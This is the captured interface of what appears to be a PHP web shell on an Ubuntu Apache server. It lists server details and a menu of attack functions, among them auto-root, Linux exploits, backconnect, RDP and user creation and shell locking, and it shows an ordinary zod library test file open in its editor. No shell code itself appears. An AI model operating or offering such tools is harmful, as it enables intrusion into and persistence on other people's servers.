Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
node_modules /
zod /
src /
v3 /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
Mocker.ts
1.31
KB
-rw-r--r--
all-errors.test.ts
4.64
KB
-rw-r--r--
anyunknown.test.ts
673
B
-rw-r--r--
array.test.ts
1.89
KB
-rw-r--r--
async-parsing.test.ts
12.34
KB
-rw-r--r--
async-refinements.test.ts
1.57
KB
-rw-r--r--
base.test.ts
782
B
-rw-r--r--
bigint.test.ts
1.93
KB
-rw-r--r--
branded.test.ts
1.69
KB
-rw-r--r--
catch.test.ts
6.4
KB
-rw-r--r--
coerce.test.ts
6.49
KB
-rw-r--r--
complex.test.ts
1.87
KB
-rw-r--r--
custom.test.ts
950
B
-rw-r--r--
date.test.ts
983
B
-rw-r--r--
deepmasking.test.ts
5.09
KB
-rw-r--r--
default.test.ts
3.44
KB
-rw-r--r--
description.test.ts
1.29
KB
-rw-r--r--
discriminated-unions.test.ts
8.34
KB
-rw-r--r--
enum.test.ts
2.67
KB
-rw-r--r--
error.test.ts
16.42
KB
-rw-r--r--
firstparty.test.ts
2.33
KB
-rw-r--r--
firstpartyschematypes.test.ts
788
B
-rw-r--r--
function.test.ts
6.42
KB
-rw-r--r--
generics.test.ts
1.49
KB
-rw-r--r--
instanceof.test.ts
1.13
KB
-rw-r--r--
intersection.test.ts
3.02
KB
-rw-r--r--
language-server.source.ts
1.25
KB
-rw-r--r--
language-server.test.ts
8.12
KB
-rw-r--r--
literal.test.ts
1.04
KB
-rw-r--r--
map.test.ts
3.46
KB
-rw-r--r--
masking.test.ts
85
B
-rw-r--r--
mocker.test.ts
389
B
-rw-r--r--
nan.test.ts
587
B
-rw-r--r--
nativeEnum.test.ts
2.29
KB
-rw-r--r--
nullable.test.ts
1.14
KB
-rw-r--r--
number.test.ts
6.22
KB
-rw-r--r--
object-augmentation.test.ts
569
B
-rw-r--r--
object-in-es5-env.test.ts
778
B
-rw-r--r--
object.test.ts
11.5
KB
-rw-r--r--
optional.test.ts
1.19
KB
-rw-r--r--
parseUtil.test.ts
869
B
-rw-r--r--
parser.test.ts
1.1
KB
-rw-r--r--
partials.test.ts
6.83
KB
-rw-r--r--
pickomit.test.ts
3.54
KB
-rw-r--r--
pipeline.test.ts
823
B
-rw-r--r--
preprocess.test.ts
4.42
KB
-rw-r--r--
primitive.test.ts
11.93
KB
-rw-r--r--
promise.test.ts
2.43
KB
-rw-r--r--
readonly.test.ts
7.17
KB
-rw-r--r--
record.test.ts
3.65
KB
-rw-r--r--
recursive.test.ts
3.85
KB
-rw-r--r--
refine.test.ts
7.98
KB
-rw-r--r--
safeparse.test.ts
628
B
-rw-r--r--
set.test.ts
4.68
KB
-rw-r--r--
standard-schema.test.ts
2.53
KB
-rw-r--r--
string.test.ts
64.08
KB
-rw-r--r--
transformer.test.ts
5.55
KB
-rw-r--r--
tuple.test.ts
2.63
KB
-rw-r--r--
unions.test.ts
1.5
KB
-rw-r--r--
validations.test.ts
3.74
KB
-rw-r--r--
void.test.ts
349
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : partials.test.ts
// @ts-ignore TS6133 import { expect, test } from "vitest"; import * as z from "zod/v3"; import { ZodNullable, ZodOptional } from "zod/v3"; import { util } from "../helpers/util.js"; const nested = z.object({ name: z.string(), age: z.number(), outer: z.object({ inner: z.string(), }), array: z.array(z.object({ asdf: z.string() })), }); test("shallow inference", () => { const shallow = nested.partial(); type shallow = z.infer<typeof shallow>; type correct = { name?: string | undefined; age?: number | undefined; outer?: { inner: string } | undefined; array?: { asdf: string }[]; }; util.assertEqual<shallow, correct>(true); }); test("shallow partial parse", () => { const shallow = nested.partial(); shallow.parse({}); shallow.parse({ name: "asdf", age: 23143, }); }); test("deep partial inference", () => { const deep = nested.deepPartial(); const asdf = deep.shape.array.unwrap().element.shape.asdf.unwrap(); asdf.parse("asdf"); type deep = z.infer<typeof deep>; type correct = { array?: { asdf?: string }[]; name?: string | undefined; age?: number | undefined; outer?: { inner?: string | undefined } | undefined; }; util.assertEqual<deep, correct>(true); }); test("deep partial parse", () => { const deep = nested.deepPartial(); expect(deep.shape.name instanceof z.ZodOptional).toBe(true); expect(deep.shape.outer instanceof z.ZodOptional).toBe(true); expect(deep.shape.outer._def.innerType instanceof z.ZodObject).toBe(true); expect(deep.shape.outer._def.innerType.shape.inner instanceof z.ZodOptional).toBe(true); expect(deep.shape.outer._def.innerType.shape.inner._def.innerType instanceof z.ZodString).toBe(true); }); test("deep partial runtime tests", () => { const deep = nested.deepPartial(); deep.parse({}); deep.parse({ outer: {}, }); deep.parse({ name: "asdf", age: 23143, outer: { inner: "adsf", }, }); }); test("deep partial optional/nullable", () => { const schema = z .object({ name: z.string().optional(), age: z.number().nullable(), }) .deepPartial(); expect(schema.shape.name.unwrap()).toBeInstanceOf(ZodOptional); expect(schema.shape.age.unwrap()).toBeInstanceOf(ZodNullable); }); test("deep partial tuple", () => { const schema = z .object({ tuple: z.tuple([ z.object({ name: z.string().optional(), age: z.number().nullable(), }), ]), }) .deepPartial(); expect(schema.shape.tuple.unwrap().items[0].shape.name).toBeInstanceOf(ZodOptional); }); test("deep partial inference", () => { const mySchema = z.object({ name: z.string(), array: z.array(z.object({ asdf: z.string() })), tuple: z.tuple([z.object({ value: z.string() })]), }); const partialed = mySchema.deepPartial(); type partialed = z.infer<typeof partialed>; type expected = { name?: string | undefined; array?: | { asdf?: string | undefined; }[] | undefined; tuple?: [{ value?: string }] | undefined; }; util.assertEqual<expected, partialed>(true); }); test("required", () => { const object = z.object({ name: z.string(), age: z.number().optional(), field: z.string().optional().default("asdf"), nullableField: z.number().nullable(), nullishField: z.string().nullish(), }); const requiredObject = object.required(); expect(requiredObject.shape.name).toBeInstanceOf(z.ZodString); expect(requiredObject.shape.age).toBeInstanceOf(z.ZodNumber); expect(requiredObject.shape.field).toBeInstanceOf(z.ZodDefault); expect(requiredObject.shape.nullableField).toBeInstanceOf(z.ZodNullable); expect(requiredObject.shape.nullishField).toBeInstanceOf(z.ZodNullable); }); test("required inference", () => { const object = z.object({ name: z.string(), age: z.number().optional(), field: z.string().optional().default("asdf"), nullableField: z.number().nullable(), nullishField: z.string().nullish(), }); const requiredObject = object.required(); type required = z.infer<typeof requiredObject>; type expected = { name: string; age: number; field: string; nullableField: number | null; nullishField: string | null; }; util.assertEqual<expected, required>(true); }); test("required with mask", () => { const object = z.object({ name: z.string(), age: z.number().optional(), field: z.string().optional().default("asdf"), country: z.string().optional(), }); const requiredObject = object.required({ age: true }); expect(requiredObject.shape.name).toBeInstanceOf(z.ZodString); expect(requiredObject.shape.age).toBeInstanceOf(z.ZodNumber); expect(requiredObject.shape.field).toBeInstanceOf(z.ZodDefault); expect(requiredObject.shape.country).toBeInstanceOf(z.ZodOptional); }); test("required with mask -- ignore falsy values", () => { const object = z.object({ name: z.string(), age: z.number().optional(), field: z.string().optional().default("asdf"), country: z.string().optional(), }); // @ts-expect-error const requiredObject = object.required({ age: true, country: false }); expect(requiredObject.shape.name).toBeInstanceOf(z.ZodString); expect(requiredObject.shape.age).toBeInstanceOf(z.ZodNumber); expect(requiredObject.shape.field).toBeInstanceOf(z.ZodDefault); expect(requiredObject.shape.country).toBeInstanceOf(z.ZodOptional); }); test("partial with mask", async () => { const object = z.object({ name: z.string(), age: z.number().optional(), field: z.string().optional().default("asdf"), country: z.string(), }); const masked = object.partial({ age: true, field: true, name: true }).strict(); expect(masked.shape.name).toBeInstanceOf(z.ZodOptional); expect(masked.shape.age).toBeInstanceOf(z.ZodOptional); expect(masked.shape.field).toBeInstanceOf(z.ZodOptional); expect(masked.shape.country).toBeInstanceOf(z.ZodString); masked.parse({ country: "US" }); await masked.parseAsync({ country: "US" }); }); test("partial with mask -- ignore falsy values", async () => { const object = z.object({ name: z.string(), age: z.number().optional(), field: z.string().optional().default("asdf"), country: z.string(), }); // @ts-expect-error const masked = object.partial({ name: true, country: false }).strict(); expect(masked.shape.name).toBeInstanceOf(z.ZodOptional); expect(masked.shape.age).toBeInstanceOf(z.ZodOptional); expect(masked.shape.field).toBeInstanceOf(z.ZodDefault); expect(masked.shape.country).toBeInstanceOf(z.ZodString); masked.parse({ country: "US" }); await masked.parseAsync({ country: "US" }); }); test("deeppartial array", () => { const schema = z.object({ array: z.string().array().min(42) }).deepPartial(); // works as expected schema.parse({}); // should be false, but is true expect(schema.safeParse({ array: [] }).success).toBe(false); });
Close